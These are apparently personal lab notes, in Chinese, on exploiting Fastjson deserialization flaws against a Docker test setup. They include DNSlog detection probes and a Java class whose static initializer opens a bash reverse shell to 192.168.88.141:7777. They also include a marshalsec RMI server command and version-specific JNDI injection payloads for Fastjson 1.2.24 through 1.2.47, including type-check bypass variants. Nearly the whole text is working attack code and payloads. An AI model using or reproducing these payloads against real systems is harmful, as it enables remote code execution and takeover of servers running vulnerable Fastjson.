Fastjson

一、检测 1.2.67以下的fastjson

{"@type":“java.net.Inet4Address”,“val”:“dnslog”}
{"@type":“java.net.Inet6Address”,“val”:“dnslog”}
但是有的不成功。

二、利用

Docker搭建环境

2.1生成poc

下面文件为反弹shell，替换成这一句，dnslog检测。
String[] commands = {“ping”, “eqkkk1.dnslog.cn”};
创建一个文件，TouchFile.java

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.88.141/7777 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

2.2 编译文件，生成TouchFile.class

Javac TouchFile.java

2.3 启用web服务，可以访问刚生成的TouchFile.class文件

2.4 利用marshalsec-0.0.3-SNAPSHOT-all.jar工具进行rmi转发，我将这个工具和.Class文件都放在了一个vps上

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.88.141:3333/#TouchFile" 9999

2.5监听7777端口

2.6访问目标网站，将GET改为POST，并加上exp

Fastjson 1.2.24 版本

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.88.141:9999/TouchFile","autoCommit":true}}

虽然还没响应

也可以这样

反弹成功

其他版本，前面的都一样，更改包里面的exp就ok了。

1.2.24
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true}}

未知版本(1.2.24-41之间)
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

1.2.41
{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

1.2.42
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true};

1.2.43
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true]}

1.2.45
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}

1.2.47
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}}